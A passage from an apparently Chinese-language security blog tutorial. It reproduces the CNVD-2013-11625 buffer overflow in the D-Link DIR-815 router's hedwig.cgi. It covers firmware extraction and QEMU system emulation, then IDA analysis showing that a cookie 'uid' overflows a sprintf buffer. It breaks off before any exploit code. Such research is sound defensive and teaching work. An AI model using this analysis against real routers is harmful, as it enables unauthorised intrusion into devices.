id="QEMU-系统级复现"><a href="#QEMU-系统级复现" class="headerlink" title="QEMU 系统级复现"></a>QEMU 系统级复现</h3><blockquote><p><strong>QEMU 系统级层面的漏洞复现需要我们通过 QEMU 虚拟机仿真路由器系统</strong></p></blockquote><h4 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h4><blockquote><p>注意：</p><p><strong>对于固件处理和仿真的相关操作，这是本文的前置基础</strong></p><p>如果对本文有任何疑问请先参考本站的《<a href="e9324890.html">IoT环境搭建与固件分析</a>》和《<a href="40df1975.html">IoT固件仿真与gdbserver远程调试</a>》这两篇文章 </p></blockquote><p>下载受影响的固件版本，这里以 D-LINK DIR-815 路由器为例：<a href="https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0">DIR-815A1_FW101SSB03.bin</a></p><p>首先使用 <code>binwalk -Me</code> 分离出文件系统：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">binwalk <span class="token parameter variable">-Me</span> ./DIR-815A1_FW101SSB03.bin<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>注意：</p><p>需要提前安装 <code>binwalk</code> 的 <code>sasquatch</code> 工具，否则提取出的 <code>squashfs-root</code> 文件夹是空的</p><p>关于 <code>sasquatch</code> 的安装以及相关报错的处理，见本站《<a href="e9324890.html">IoT环境搭建与固件分析</a>》一文 </p></blockquote><p>提取出路由器的文件系统：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B01.png" alt="CNVD-2013-11625复现1.png"></p><p>通过 <code>busybox</code> 程序查看路由器架构：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B02.png" alt="CNVD-2013-11625复现2.png"></p><p>首先下载 MIPS32 架构的 QEMU 内核和镜像文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B03.png" alt="CNVD-2013-11625复现3.png"></p><p>也可以直接通过 <code>wget</code> 下载：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2 https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>注意：</p><p>MIPS32 架构有 Debian Squeeze 和 Debian Wheezy 两种镜像：</p><ul><li>Squeeze 中的软件包和库通常比 Wheezy 中的旧，因此 Squeeze 适合运行需要特定旧版本库或依赖的应用程序</li><li>Wheezy 适合需要更好的性能、更好的硬件支持或更新的软件包的场景</li></ul><p>内核镜像文件 <code>vmlinux</code> 有 <code>4kc</code> 和 <code>5kc</code> 两种版本：<strong>4kc 为 32 位，5kc 为 64 位</strong></p><p>另外，与 ARM 架构不同，MIPS32 的仿真没有 RAM 磁盘映像文件 <code>initrd.img</code></p></blockquote><p>使用 <code>qemu-system-mipsel</code> 来启动 QEMU 虚拟机，命令如下：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> qemu-system-mipsel <span class="token punctuation">\</span>  <span class="token parameter variable">-M</span> malta <span class="token punctuation">\</span>  <span class="token parameter variable">-kernel</span> ./vmlinux-3.2.0-4-4kc-malta <span class="token punctuation">\</span>  <span class="token parameter variable">-hda</span> ./debian_squeeze_mipsel_standard.qcow2 <span class="token punctuation">\</span>  <span class="token parameter variable">-append</span> <span class="token string">"root=/dev/sda1 console=tty0"</span> <span class="token punctuation">\</span>  <span class="token parameter variable">-net</span> nic <span class="token punctuation">\</span>  <span class="token parameter variable">-net</span> tap,ifname<span class="token operator">=</span>tap0,script<span class="token operator">=</span>no,downscript<span class="token operator">=</span>no <span class="token punctuation">\</span>  <span class="token parameter variable">-nographic</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>启动成功，账号密码都是 <code>root</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B04.png" alt="CNVD-2013-11625复现4.png"></p><p>接下来配置虚拟网卡，在 Kali Linux 中创建一个 <code>net.sh</code> 脚本，并写入如下内容：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/sh</span><span class="token function">sudo</span> brctl addbr br0                   <span class="token comment"># 添加一座名为 br0 的网桥</span><span class="token function">sudo</span> <span class="token function">ifconfig</span> br0 <span class="token number">192.168</span>.2.3/24 up    <span class="token comment"># 启用 br0 接口</span><span class="token function">sudo</span> tunctl <span class="token parameter variable">-t</span> tap0 <span class="token parameter variable">-u</span> root            <span class="token comment"># 创建一个只许 root 访问的 tap0 接口</span><span class="token function">sudo</span> <span class="token function">ifconfig</span> tap0 <span class="token number">192.168</span>.2.1/24 up   <span class="token comment"># 启用 tap0 接口</span><span class="token function">sudo</span> brctl addif br0 tap0              <span class="token comment"># 在虚拟网桥中增加一个 tap0 接口</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>赋予执行权限并运行该脚本：（<em>每次重启 Kali Linux 后都需要重新配置一次</em>）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">chmod</span> +x net.sh./net.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>在 QEMU 虚拟机中设置 ip 地址，<strong>注意与 <code>tap0</code> 在同一网段</strong>：（<em>每次重启 QEMU 虚拟机后都需要重新配置一次</em>）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>root@debian-mipsel<span class="token punctuation">)</span> <span class="token function">ifconfig</span> eth0 <span class="token number">192.168</span>.2.2/24 up<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>配置后 QEMU 虚拟机的 ip 地址为 <code>192.168.2.2</code>，测试一下能否与 Kali Linux 的 <code>192.168.2.1</code> 相互 ping 通：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B05.png" alt="CNVD-2013-11625复现5.png"></p><p>将文件系统打包并通过 <code>scp</code> 命令上传到 QEMU 虚拟机：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">tar</span> <span class="token parameter variable">-czvf</span> DIR-815A1_FW101SSB03_rootfs.tar.gz squashfs-root<span class="token function">sudo</span> <span class="token function">scp</span> DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B06.png" alt="CNVD-2013-11625复现6.png"></p><p>如果 <code>scp</code> 命令报错：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">Unable to negotiate with <span class="token number">192.168</span>.2.2 port <span class="token number">22</span>: no matching <span class="token function">host</span> key <span class="token builtin class-name">type</span> found. Their offer: ssh-rsa,ssh-dssscp: Connection closed<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><blockquote><p>这表示 SSH 客户端和服务器之间没有匹配的主机密钥类型，通常是因为服务器只支持旧的 <code>ssh-rsa</code> 和 <code>ssh-dss</code> 密钥类型，而 SSH 客户端配置不再接受这些类型的密钥</p></blockquote><p>改用如下命令：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">scp</span> <span class="token parameter variable">-o</span> <span class="token assign-left variable">HostKeyAlgorithms</span><span class="token operator">=</span>+ssh-rsa DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>如果继续报错：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED<span class="token operator">!</span>     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY<span class="token operator">!</span>Someone could be eavesdropping on you right now <span class="token punctuation">(</span>man-in-the-middle attack<span class="token punctuation">)</span><span class="token operator">!</span>It is also possible that a <span class="token function">host</span> key has just been changed.The fingerprint <span class="token keyword">for</span> the RSA key sent by the remote <span class="token function">host</span> isSHA256:tVc2ekHlAJNyIu0Fo9rOvfudWIVfkMpa3FSLlDcGeVQ.Please contact your system administrator.Add correct <span class="token function">host</span> key <span class="token keyword">in</span> /root/.ssh/known_hosts to get rid of this message.Offending ECDSA key <span class="token keyword">in</span> /root/.ssh/known_hosts:1  remove with:  ssh-keygen <span class="token parameter variable">-f</span> <span class="token string">'/root/.ssh/known_hosts'</span> <span class="token parameter variable">-R</span> <span class="token string">'192.168.2.2'</span>Host key <span class="token keyword">for</span> <span class="token number">192.168</span>.2.2 has changed and you have requested strict checking.Host key verification failed.scp: Connection closed<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>使用如下命令即可解决：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> ssh-keygen <span class="token parameter variable">-R</span> <span class="token number">192.168</span>.2.2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B07.png" alt="CNVD-2013-11625复现7.png"></p><p>在 QEMU 虚拟机中解压：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>root@debian-mipsel<span class="token punctuation">)</span> <span class="token function">tar</span> <span class="token parameter variable">-xzvf</span> DIR-815A1_FW101SSB03_rootfs.tar.gz<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>进入到路由器文件系统的根目录，新建一个 HTTP 服务的配置文件 <code>http_conf</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> squashfs-root<span class="token comment"># 因为 QEMU 虚拟机中没有 vi 和 vim 等，但可以使用 nano，这里以 cat 作为示例，cat > 命令使用 ctrl + D 保存并退出</span><span class="token function">cat</span> <span class="token operator">></span> http_conf<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>写入如下内容：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">Umask 026PIDFile /var/run/httpd.pidLogGMT On   <span class="token comment"># 开启 log</span>ErrorLog /log   <span class="token comment"># log 文件</span>Tuning <span class="token punctuation">&#123;</span>    NumConnections <span class="token number">15</span>    BufSize <span class="token number">12288</span>    InputBufSize <span class="token number">4096</span>    ScriptBufSize <span class="token number">4096</span>    NumHeaders <span class="token number">100</span>    Timeout <span class="token number">60</span>    ScriptTimeout <span class="token number">60</span><span class="token punctuation">&#125;</span>Control <span class="token punctuation">&#123;</span>    Types <span class="token punctuation">&#123;</span>        text/html <span class="token punctuation">&#123;</span> html htm <span class="token punctuation">&#125;</span>        text/xml <span class="token punctuation">&#123;</span> xml <span class="token punctuation">&#125;</span>        text/plain <span class="token punctuation">&#123;</span> txt <span class="token punctuation">&#125;</span>        image/gif <span class="token punctuation">&#123;</span> gif <span class="token punctuation">&#125;</span>        image/jpeg <span class="token punctuation">&#123;</span> jpg <span class="token punctuation">&#125;</span>        text/css <span class="token punctuation">&#123;</span> css <span class="token punctuation">&#125;</span>        application/octet-stream <span class="token punctuation">&#123;</span> * <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    Specials <span class="token punctuation">&#123;</span>        Dump <span class="token punctuation">&#123;</span> /dump <span class="token punctuation">&#125;</span>        CGI <span class="token punctuation">&#123;</span> cgi <span class="token punctuation">&#125;</span>        Imagemap <span class="token punctuation">&#123;</span> map <span class="token punctuation">&#125;</span>        Redirect <span class="token punctuation">&#123;</span> url <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    External <span class="token punctuation">&#123;</span>        /usr/sbin/phpcgi <span class="token punctuation">&#123;</span> php <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span>Server <span class="token punctuation">&#123;</span>    ServerName <span class="token string">"Linux, HTTP/1.1, "</span>    ServerId <span class="token string">"1234"</span>    Family inet    Interface eth0         <span class="token comment"># 网卡</span>    Address <span class="token number">192.168</span>.2.2    <span class="token comment"># qemu 的 ip 地址</span>    Port <span class="token string">"4321"</span>            <span class="token comment"># 对应 web 访问端口</span>    Virtual <span class="token punctuation">&#123;</span>        AnyHost        Control <span class="token punctuation">&#123;</span>            Alias /            Location /htdocs/web            IndexNames <span class="token punctuation">&#123;</span> index.php <span class="token punctuation">&#125;</span>            External <span class="token punctuation">&#123;</span>                /usr/sbin/phpcgi <span class="token punctuation">&#123;</span> router_info.xml <span class="token punctuation">&#125;</span>                /usr/sbin/phpcgi <span class="token punctuation">&#123;</span> post_login.xml <span class="token punctuation">&#125;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>        Control <span class="token punctuation">&#123;</span>            Alias /HNAP1            Location /htdocs/HNAP1            External <span class="token punctuation">&#123;</span>                /usr/sbin/hnap <span class="token punctuation">&#123;</span> hnap <span class="token punctuation">&#125;</span>            <span class="token punctuation">&#125;</span>            IndexNames <span class="token punctuation">&#123;</span> index.hnap <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在 Kali Linux 物理机中新建一个脚本 <code>forwarding.sh</code>，用于开启物理机的网络地址转换（NAT）和 IP 转发（<strong>防止后续在 <code>init.sh</code> 脚本中启动 <code>httpd</code> 服务时出现问题</strong>），写入如下内容：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/sh</span><span class="token function">sudo</span> <span class="token function">sysctl</span> <span class="token parameter variable">-w</span> <span class="token assign-left variable">net.ipv4.ip_forward</span><span class="token operator">=</span><span class="token number">1</span><span class="token function">sudo</span> iptables <span class="token parameter variable">-F</span><span class="token function">sudo</span> iptables <span class="token parameter variable">-X</span><span class="token function">sudo</span> iptables <span class="token parameter variable">-t</span> nat <span class="token parameter variable">-F</span><span class="token function">sudo</span> iptables <span class="token parameter variable">-t</span> nat <span class="token parameter variable">-X</span><span class="token function">sudo</span> iptables <span class="token parameter variable">-t</span> mangle <span class="token parameter variable">-F</span><span class="token function">sudo</span> iptables <span class="token parameter variable">-t</span> mangle <span class="token parameter variable">-X</span><span class="token function">sudo</span> iptables <span class="token parameter variable">-P</span> INPUT ACCEPT<span class="token function">sudo</span> iptables <span class="token parameter variable">-P</span> FORWARD ACCEPT<span class="token function">sudo</span> iptables <span class="token parameter variable">-P</span> OUTPUT ACCEPT<span class="token function">sudo</span> iptables <span class="token parameter variable">-t</span> nat <span class="token parameter variable">-A</span> POSTROUTING <span class="token parameter variable">-o</span> eth0 <span class="token parameter variable">-j</span> MASQUERADE<span class="token function">sudo</span> iptables <span class="token parameter variable">-I</span> FORWARD <span class="token number">1</span> <span class="token parameter variable">-i</span> tap0 <span class="token parameter variable">-j</span> ACCEPT<span class="token function">sudo</span> iptables <span class="token parameter variable">-I</span> FORWARD <span class="token number">1</span> <span class="token parameter variable">-o</span> tap0 <span class="token parameter variable">-m</span> state <span class="token parameter variable">--state</span> RELATED,ESTABLISHED <span class="token parameter variable">-j</span> ACCEPT<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在 Kali Linux 中执行该脚本：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">chmod</span> +x forwarding.sh./forwarding.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>紧接着，在路由器文件系统的根目录下，继续新建一个 <code>init.sh</code> 脚本：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> squashfs-root<span class="token comment"># 因为 QEMU 虚拟机中没有 vi 和 vim 等，但可以使用 nano，这里以 cat 作为示例，cat > 命令使用 ctrl + D 保存并退出</span><span class="token function">cat</span> <span class="token operator">></span> init.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>写入如下内容：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token comment"># 由于真机不存在地址随机化，因此这里关闭地址随机化</span><span class="token builtin class-name">echo</span> <span class="token number">0</span> <span class="token operator">></span> /proc/sys/kernel/randomize_va_space<span class="token comment"># 复制配置和二进制文件</span><span class="token function">cp</span> http_conf /<span class="token function">cp</span> sbin/httpd /<span class="token function">cp</span> <span class="token parameter variable">-rf</span> htdocs/ /<span class="token comment"># 备份 /etc，防止后续操作改变 /etc 文件夹中的内容导致下一次启动 QEMU 虚拟机出现问题</span><span class="token function">mkdir</span> /etc_bak<span class="token function">cp</span> <span class="token parameter variable">-r</span> /etc /etc_bak<span class="token function">rm</span> /etc/services<span class="token function">cp</span> <span class="token parameter variable">-rf</span> etc/ /<span class="token comment"># 复制必要的库</span><span class="token function">cp</span> lib/ld-uClibc-0.9.30.1.so /lib/<span class="token function">cp</span> lib/libcrypt-0.9.30.1.so /lib/<span class="token function">cp</span> lib/libc.so.0 /lib/<span class="token function">cp</span> lib/libgcc_s.so.1 /lib/<span class="token function">cp</span> lib/ld-uClibc.so.0 /lib/<span class="token function">cp</span> lib/libcrypt.so.0 /lib/<span class="token function">cp</span> lib/libgcc_s.so /lib/<span class="token function">cp</span> lib/libuClibc-0.9.30.1.so /lib/<span class="token comment"># 删除旧的 CGI 脚本</span><span class="token builtin class-name">cd</span> /<span class="token function">rm</span> <span class="token parameter variable">-rf</span> /htdocs/web/hedwig.cgi<span class="token function">rm</span> <span class="token parameter variable">-rf</span> /usr/sbin/phpcgi<span class="token function">rm</span> <span class="token parameter variable">-rf</span> /usr/sbin/hnap<span class="token comment"># 创建符号链接</span><span class="token function">ln</span> <span class="token parameter variable">-s</span> /htdocs/cgibin /htdocs/web/hedwig.cgi<span class="token function">ln</span> <span class="token parameter variable">-s</span> /htdocs/cgibin /usr/sbin/phpcgi<span class="token function">ln</span> <span class="token parameter variable">-s</span> /htdocs/cgibin /usr/sbin/hnap<span class="token comment"># 根据前面配置的 http_conf 文件，启动 HTTP 服务</span>./httpd <span class="token parameter variable">-f</span> http_conf<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>赋予 <code>init.sh</code> 执行权限，并运行：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> +x init.sh./init.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B08.png" alt="CNVD-2013-11625复现8.png"></p><p>访问 <code>http://192.168.2.2:4321/hedwig.cgi</code>，确认 HTTP 服务已经开启：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B09.png" alt="CNVD-2013-11625复现9.png"></p><p>直接浏览器访问提示不支持的 HTTP 请求：<code>&quot;unsupported HTTP request&quot;</code></p><p><strong>最后，在退出 QEMU 虚拟机之前，记得先创建一个 <code>fin.sh</code> 脚本</strong>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> squashfs-root<span class="token function">cat</span> <span class="token operator">></span> fin.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>写入如下内容：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token function">rm</span> <span class="token parameter variable">-rf</span> /etc<span class="token function">mv</span> /etc_bak/etc /etc<span class="token function">rm</span> <span class="token parameter variable">-rf</span> /etc_bak<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>每次退出 QEMU 虚拟机器之前，都执行一下 <code>fin.sh</code> 脚本，恢复刚刚 <code>init.sh</code> 脚本中更改过的 <code>/etc</code> 文件夹，避免下一次启动 QEMU 时出现问题：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> +x fin.sh./fin.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B028.png" alt="CNVD-2013-11625复现28.png"></p><hr><h4 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>在路由器文件系统中找到漏洞文件 <code>hedwig.cgi</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">find</span> ./ <span class="token parameter variable">-name</span> hedwig.cgi<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B010.png" alt="CNVD-2013-11625复现10.png"></p><p>发现 <code>hedwig.cgi</code> 是一个软链接，指向 <code>cgibin</code> 文件</p><p>在 IDA 下分析 <code>cgibin</code> 文件：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B011.png" alt="CNVD-2013-11625复现11.png"></p><p>定位到漏洞模块 <code>hedwigcgi_main()</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B012.png" alt="CNVD-2013-11625复现12.png"></p><p>可以看到我们刚刚访问 <code>http://192.168.2.2:4321/hedwig.cgi</code> 时的报错内容：<code>&quot;unsupported HTTP request&quot;</code></p><p>分析可知，其会读取并判断环境变量 <code>REQUEST_METHOD</code> 是否为 POST，因此只支持 POST 请求方式，刚刚通过浏览器访问是 GET 方式，所以报错</p><p>接下来会执行 <code>cgibin_parse_request(sub_409A6C, 0, 0x20000)</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B013.png" alt="CNVD-2013-11625复现13.png"></p><p>这个函数使用到了 3 个环境变量：<code>CONTENT_TYPE</code>、<code>CONTENT_LENGTH</code>、<code>REQUEST_URI</code>，所以后面这三个环境变量我们是必须要设置的</p><p>总的来说，<code>cgibin_parse_request()</code> 函数主要是对 URL 进行分析和处理，这里分析一下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B014.png" alt="CNVD-2013-11625复现14.png"></p><p>这里定位到 URL 中第一个 <code>&#39;?&#39;</code> 所在的位置，对字符串进行分割，并将 <code>&#39;?&#39;</code> 后的内容和长度传入 <code>sub_402B40()</code> 函数进行处理：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B015.png" alt="CNVD-2013-11625复现15.png"></p><p>这里会再次对字符串以 <code>&#39;&amp;&#39;</code> 和 <code>&#39;=&#39;</code> 进行分割，即 URL 格式大致为：<code>aaa?bbb=ccc&amp;ddd</code></p><p><code>hedwigcgi_main()</code> 中再往下走到 <code>sess_get_uid(v4)</code></p><p><code>sess_get_uid()</code> 函数用于从 HTTP 请求的 Cookie 中提取用户的 <code>uid</code>。如果没有找到 <code>uid</code>，则返回用户的远程地址：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B016.png" alt="CNVD-2013-11625复现16.png"></p><p>其判断 <code>uid</code> 的逻辑为：以 <code>&#39;=&#39;</code> 作为分隔，<code>&#39;=&#39;</code> 前面的内容存入 <code>v2</code>，<code>&#39;=&#39;</code> 后面的内容存入 <code>v4</code>，假设原字符串为 <code>uid=xxx</code>，如果 <code>v2 == &#39;uid&#39;</code>，则 <code>v4 == &#39;xxx&#39;</code> 就是 <code>uid</code> 数据</p><p>最后将 <code>v4</code> 中的 <code>uid</code> 数据赋值给变量 <code>string</code>，最后将其写入 <code>a1</code>，也就是该函数的形参</p><p>重点在下面：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B017.png" alt="CNVD-2013-11625复现17.png"></p><p>前面 <code>sess_get_uid()</code> 函数会将 <code>uid</code> 写入形参，因此 <code>v4</code> 的值就是 <code>uid</code></p><p>也就是说，<code>sprintf(v27, &quot;%s/%s/postxml&quot;, &quot;/runtime/session&quot;, string)</code> 中的 <code>string</code> 就是 <code>uid</code>，<strong>而这个 <code>uid</code> 是用户可以控制的</strong></p><p><code>v27</code> 是一个长度为 1024 的字符数组，明显是可以被人为输入的 <code>uid</code> 溢出的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B018.png" alt="CNVD-2013-11625复现18.png"></p><p>在后面还有一个类似的 <code>sprintf()</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B019.png" alt="CNVD-2013-11625复现19.png"></p><p>由于 <code>v4</code> 没有被修改过，因此这里的 <code>v20</code> 同样是 <code>uid</code>，<code>v27</code> 同样可以被溢出</p><p>因此我们可以利用这里覆盖上一次 <code>sprintf()</code> 的内容</p><p>但是要想执行两次 <code>sprintf()</code> 需要满足两个条件判断：</p><ol><li>第一个是需要存在 <code>/var/tmp/</code> 路径，其会创建一个 <code>temp.xml</code> 文件并写入数据  </li><li>另一个是要求 <code>haystack</code> 非空</li></ol><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B020.png" alt="CNVD-2013-11625复现20.png"></p><p>首先， <code>/var/tmp/</code> 路径在真实的路由器上是存在的，但是我们仿真的系统里没有：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B021.png" alt="CNVD-2013-11625复现21.png"></p><p>因此为了更真实地模拟环境，我们需要在仿真的系统里自己创建 <code>/var/tmp</code> 文件夹：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B022.png" alt="CNVD-2013-11625复现22.png"></p><p>关于 <code>haystack</code>，通过交叉引用（IDA 快捷键为 X），发现 <code>haystack</code> 在此之前只有 <code>sub_409A6C()</code> 函数进行过修改，也就是 <code>cgibin_parse_request((int)sub_409A6C, 0, 0x20000u)</code> 的第一个参数：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B023.png" alt="CNVD-2013-11625复现23.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B024.png" alt="CNVD-2013-11625复现24.png"></p><p><code>cgibin_parse_request()</code> 函数在这里才调用了 <code>sub_409A6C()</code> 函数（作为形参 <code>a1</code>）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B025.png" alt="CNVD-2013-11625复现25.png"></p><p><code>off_42C014</code> 处存放的是 <code>&quot;application/&quot;</code> 数据，这是在处理 HTTP 请求时用到的 MIME 类型字符串的一部分：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B026.png" alt="CNVD-2013-11625复现26.png"></p><p>因此这里是对 <code>POST</code> 内容的读入</p><p>要想读入 <code>POST</code>，就必须先满足 <code>v9 != -1</code> 的 <code>if</code> 判断，而 <code>v9</code> 初值就是 